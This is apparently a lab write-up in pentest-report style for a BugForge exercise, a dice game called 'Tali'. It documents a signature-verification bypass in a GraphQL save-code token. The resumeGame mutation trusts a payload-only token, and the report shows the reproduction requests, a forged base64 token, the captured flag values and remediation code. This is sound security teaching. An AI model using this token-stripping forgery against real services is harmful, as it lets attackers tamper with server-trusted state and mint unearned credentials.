Tali: Custom Token Signature Verification Bypass
Executive Summary
Tali is a browser dice board game: a static single-page app served alongside a single GraphQL endpoint at POST /graphql. Games are anonymous, with no login or cookies, and are addressed by a server-generated UUID. A position can be exported as a “save code” and reloaded later through the resumeGame mutation. The save code is a bespoke two-part token of the form base64url(JSON).base64url(HMAC-SHA256). The server issues a “Verified official win” certificate when a loaded game has winner == 1 and official == true.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Save-code signature verification bypass via omitted signature segment | High | 8.2 | CWE-347 | POST /graphql (resumeGame) |
The resumeGame mutation verifies the HMAC only when a signature segment is present. A token consisting of the payload alone, with no separator and no signature segment, is accepted and its contents are trusted without verification. Both fields in the certificate gate (winner and official) live inside that trusted payload, so a forged payload-only token carrying winner:1 and official:true mints the certificate without playing a single move. The certificate is the engagement objective, a normally unforgeable proof of a legitimate official win. It is computed server-side: two independent lab instances returned two different certificates for byte-identical forged input, confirming the value is minted, not reflected.
Objective
Capture the “Verified official win” certificate (the flag). The lab hint was “More tokens please,” pointing at the save-code token rather than at playing the game.
Scope / Initial Access
# Target Application
URL: https://lab-1789162723351-qr606t.labs-app.bugforge.io
# Auth details
# None. Games are anonymous and addressed by a server-generated UUID.
# No login, no cookies, no Authorization header.
# API
POST /graphql # single endpoint, GraphQL introspection enabled
There is no authentication surface. Every operation is reachable anonymously over the single GraphQL endpoint.
Reconnaissance: Reading the SPA and the GraphQL Schema
The application surface was mapped from the static front-end assets (app.js) and from GraphQL introspection, which is enabled on the endpoint. The following facts shaped the test plan.
- A single GraphQL endpoint at
POST /graphqlexposesgame(id)andreachable(id, dieId)queries andnewGame,deploy,move,saveGame(id),resumeGame(code), anddailyChallengemutations. - The client renders a
certificatefield when the server returns one. A source comment notes that only official challenge wins carry a certificate. - The save code is a two-part token:
base64url(JSON).base64url(HMAC-SHA256). The payload decodes to{"game":{mode, phase, firstPlayer, currentPlayer, winner, collected1, collected2, dice[]}, "official": bool}, and the signature is a 32-byte HMAC-SHA256. dailyChallengeis the only operation that issues a token withofficial:true.saveGame(id)signs the current server state into a save code, andresumeGame(code)loads a save code back into a game. The certificate is computed server-side at load time fromwinner == 1 && official == true, and both of those fields ride inside the payload the server trusts after the signature check. That made the token’s integrity check, rather than the game itself, the target.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Single GraphQL endpoint at POST /graphql; introspection enabled; errors carry an extensions.code field |
| Frontend | Static single-page app (index.html, app.js, style.css) |
| Auth | None; anonymous games addressed by a server-generated UUID |
| Database | Not observable from the client |
API Surface
| Operation | Type | Auth | Notes |
|---|---|---|---|
game(id) |
Query | None | Read a game by UUID |
reachable(id, dieId) |
Query | None | Legal-move helper |
newGame(mode) |
Mutation | None | Start a game |
deploy / move |
Mutation | None | Play a turn |
saveGame(id) |
Mutation | None | Sign current state into a save code |
resumeGame(code) |
Mutation | None | Load a save code (vulnerable) |
dailyChallenge |
Mutation | None | Issues the only official:true seed token |
Attack Chain Visualization
┌────────────────────┐ ┌────────────────────┐ ┌────────────────────┐ ┌────────────────────┐
│ Introspect schema │ │ dailyChallenge │ │ Forge payload: │ │ resumeGame(code) │
│ + read SPA source │ ──▶ │ returns the only │ ──▶ │ winner:1, │ ──▶ │ payload-only, no │
│ = token format & │ │ official:true │ │ official:true, │ │ signature segment │
│ certificate gate │ │ template payload │ │ phase:over │ │ = certificate │
└────────────────────┘ └────────────────────┘ └────────────────────┘ └────────────────────┘
Findings
F1: Save-Code Signature Verification Bypass via Omitted Signature Segment
Severity: High
CVSS v3.1: 8.2 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N)
CWE: CWE-347 (Improper Verification of Cryptographic Signature)
Endpoint: POST /graphql (resumeGame(code) mutation)
Authentication required: No
Description
The save code is a bespoke two-part token of the form base64url(JSON).base64url(HMAC-SHA256). The resumeGame mutation verifies the HMAC only when a signature segment is present. Three tamper forms of the same modified payload were submitted to isolate the behavior:
- Payload with a stale (wrong) signature (
payload.WRONGSIG): rejected (HTTP 500) with “That save code is invalid or corrupt.” - Payload with an empty signature segment (a trailing separator,
payload.): rejected the same way. - Payload alone, with no separator and no signature segment: accepted, and its contents trusted verbatim.
The third form skips verification entirely. The certificate is issued server-side when the loaded game has winner == 1 and official == true, and both fields live inside the payload the server trusts after the (skipped) check. A forged payload-only token therefore sets them directly. This is the same class of defect as signature stripping and acceptance of unsigned tokens in JWTs, applied here to a hand-rolled token rather than a standard token handled by a library.
Impact
An unauthenticated user can mint the “Verified official win” certificate for a game that was never played. The same bypass grants full control of every field in the loaded game state.
Reproduction
Step 1: Obtain a well-formed official:true template via dailyChallenge.
POST /graphql HTTP/2
Host: lab-1789162723351-qr606t.labs-app.bugforge.io
Content-Type: application/json
{"query":"mutation{ dailyChallenge }"}
Response (HTTP 200) returns the only legitimate official:true token: base64url({"game":{...dice roster...},"official":true}).<HMAC>. Its decoded payload is a convenient, valid dice roster to build the forged token from.
Step 2: Forge a payload-only token.
Decode the base64url payload, set the winning state, and re-encode with no signature segment (no ., no HMAC). The forged payload:
{
"game": {
"mode": "bot",
"phase": "over",
"firstPlayer": 1,
"currentPlayer": 1,
"winner": 1,
"collected1": 3,
"collected2": 0,
"dice": [ /* full roster carried over from the daily challenge */ ]
},
"official": true
}
Step 3: Submit the payload-only token to resumeGame.
POST /graphql HTTP/2
Host: lab-1789162723351-qr606t.labs-app.bugforge.io
Content-Type: application/json
{"query":"mutation($c:String!){ resumeGame(code:$c){ id phase winner collected1 collected2 message certificate } }","variables":{"c":"eyJnYW1lIjp7Im1vZGUiOiJib3QiLCJwaGFzZSI6Im92ZXIiLCJmaXJzdFBsYXllciI6MSwiY3VycmVudFBsYXllciI6MSwid2lubmVyIjoxLCJjb2xsZWN0ZWQxIjozLCJjb2xsZWN0ZWQyIjowLCJkaWNlIjpbeyJpZCI6InAxLTAiLCJvd25lciI6MSwidmFsdWUiOjYsInJvdyI6bnVsbCwiY29sIjpudWxsLCJkZXBsb3llZCI6ZmFsc2UsImFsaXZlIjp0cnVlfSx7ImlkIjoicDEtMSIsIm93bmVyIjoxLCJ2YWx1ZSI6Niwicm93IjpudWxsLCJjb2wiOm51bGwsImRlcGxveWVkIjpmYWxzZSwiYWxpdmUiOnRydWV9LHsiaWQiOiJwMS0yIiwib3duZXIiOjEsInZhbHVlIjo1LCJyb3ciOm51bGwsImNvbCI6bnVsbCwiZGVwbG95ZWQiOmZhbHNlLCJhbGl2ZSI6dHJ1ZX0seyJpZCI6InAxLTMiLCJvd25lciI6MSwidmFsdWUiOjUsInJvdyI6bnVsbCwiY29sIjpudWxsLCJkZXBsb3llZCI6ZmFsc2UsImFsaXZlIjp0cnVlfSx7ImlkIjoicDEtNCIsIm93bmVyIjoxLCJ2YWx1ZSI6NCwicm93IjpudWxsLCJjb2wiOm51bGwsImRlcGxveWVkIjpmYWxzZSwiYWxpdmUiOnRydWV9LHsiaWQiOiJwMS01Iiwib3duZXIiOjEsInZhbHVlIjo0LCJyb3ciOm51bGwsImNvbCI6bnVsbCwiZGVwbG95ZWQiOmZhbHNlLCJhbGl2ZSI6dHJ1ZX0seyJpZCI6InAyLTAiLCJvd25lciI6MiwidmFsdWUiOjYsInJvdyI6bnVsbCwiY29sIjpudWxsLCJkZXBsb3llZCI6ZmFsc2UsImFsaXZlIjp0cnVlfSx7ImlkIjoicDItMSIsIm93bmVyIjoyLCJ2YWx1ZSI6Niwicm93IjpudWxsLCJjb2wiOm51bGwsImRlcGxveWVkIjpmYWxzZSwiYWxpdmUiOnRydWV9LHsiaWQiOiJwMi0yIiwib3duZXIiOjIsInZhbHVlIjo1LCJyb3ciOm51bGwsImNvbCI6bnVsbCwiZGVwbG95ZWQiOmZhbHNlLCJhbGl2ZSI6dHJ1ZX0seyJpZCI6InAyLTMiLCJvd25lciI6MiwidmFsdWUiOjUsInJvdyI6bnVsbCwiY29sIjpudWxsLCJkZXBsb3llZCI6ZmFsc2UsImFsaXZlIjp0cnVlfSx7ImlkIjoicDItNCIsIm93bmVyIjoyLCJ2YWx1ZSI6NCwicm93IjpudWxsLCJjb2wiOm51bGwsImRlcGxveWVkIjpmYWxzZSwiYWxpdmUiOnRydWV9LHsiaWQiOiJwMi01Iiwib3duZXIiOjIsInZhbHVlIjo0LCJyb3ciOm51bGwsImNvbCI6bnVsbCwiZGVwbG95ZWQiOmZhbHNlLCJhbGl2ZSI6dHJ1ZX1dfSwib2ZmaWNpYWwiOnRydWV9"}}
Response (HTTP 200):
{"data":{"resumeGame":{"id":"9ec7abf9-bfbc-47d4-8960-0f5c58009607","phase":"over","winner":1,"collected1":3,"collected2":0,"message":"Position resumed from a save code.","certificate":"bug{r1Y5iCJ6RkhlTm3bEcMUrQj1AS7gqppl}"}}}
The token carries no signature, verification is skipped, and the server returns the certificate.
Signature is enforced when a segment is present (negative controls). The same modified payload with a wrong signature returns HTTP 500 “That save code is invalid or corrupt,” and with an empty signature segment (payload.) it is rejected the same way. Verification runs and fails when a segment is present; only its absence skips the check.
Certificate is server-computed, not reflected. The exercise was repeated on a second, independent lab instance. The byte-identical forged token returned a different certificate (bug{HPWuDffx0l8XjRjgFnAewL6Qo848ys1a} versus bug{r1Y5iCJ6RkhlTm3bEcMUrQj1AS7gqppl}), and the bug{ string never appears in the request. A reflected value would reproduce the input; differing outputs for identical input are only explained by server-side computation.
Certificate gate. A forged token with winner:1 but official:false returns winner:1 and certificate:null. The gate is winner == 1 && official == true, and both fields are attacker-set in the forged payload.
Remediation
Fix 1: Verify the signature unconditionally and require exactly two non-empty segments.
The inferred vulnerable pattern (source not available) verifies only when a signature segment is present:
// BEFORE (inferred vulnerable pattern)
function loadSaveCode(code) {
const [payloadB64, sigB64] = code.split('.');
if (sigB64) { // only checks when a signature exists
const expected = base64url(hmacSha256(payloadB64, SECRET));
if (sigB64 !== expected) throw new Error('invalid or corrupt');
}
return JSON.parse(base64urlDecode(payloadB64)); // trusted verbatim when the segment is absent
}
// AFTER (secure)
function loadSaveCode(code) {
const parts = code.split('.');
if (parts.length !== 2 || !parts[0] || !parts[1]) {
throw new Error('invalid or corrupt'); // require exactly two non-empty segments
}
const [payloadB64, sigB64] = parts;
const expected = base64url(hmacSha256(payloadB64, SECRET));
const a = Buffer.from(sigB64), b = Buffer.from(expected);
if (a.length !== b.length || !crypto.timingSafeEqual(a, b)) {
throw new Error('invalid or corrupt'); // verify every time, constant-time compare
}
return JSON.parse(base64urlDecode(payloadB64));
}
Fix 2: Establish the “official” designation server-side.
The official flag and the game outcome (winner, collected1/2) should be re-derived or validated server-side on load rather than trusted from a token that the client can resume. A resumed position should not be able to assert its own official status or a completed win.
Additional recommendations:
- Never treat an absent signature as “signature not required.” Reject any token that does not present a valid signature.
- Return a clean 4xx rejection for verification failures. The wrong-signature path currently returns HTTP 500, indicating an unhandled exception in the verification routine.
OWASP Top 10 Coverage
- A08:2021 Software and Data Integrity Failures: the application trusts a client-supplied token to establish the game outcome and the “official” designation, and loads it without verifying its integrity when the signature segment is absent.
Tools Used
| Tool | Purpose |
|---|---|
| curl | Issuing GraphQL requests |
| python3 | base64url decode and encode of the token payload |
| jq | Parsing GraphQL JSON responses |
| Caido | Proxying the reproduction on a fresh instance for byte-exact history |
References
- CWE-347: Improper Verification of Cryptographic Signature
- OWASP Top 10 2021: A08 Software and Data Integrity Failures
- OWASP Top 10 2021: A02 Cryptographic Failures
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Payload with a stale/wrong signature (payload.WRONGSIG) |
Rejected, HTTP 500 “invalid or corrupt” | The HMAC is verified when a signature segment is present |
Payload with an empty signature segment (payload.) |
Rejected, “invalid or corrupt” | An empty segment still triggers verification, which then fails |
jwtforge for token forging |
Not applicable | jwtforge targets standard three-part JWTs; this is a bespoke two-part base64url(JSON).HMAC token, forged by hand |
| Cracking the HMAC secret | Not attempted | Unnecessary; verification is skipped entirely for a token with no signature segment, so secret strength is moot |
Tags: #webapp #graphql #signature-bypass #custom-token #bugforge
Document Version: 1.0
Last Updated: 2026-09-11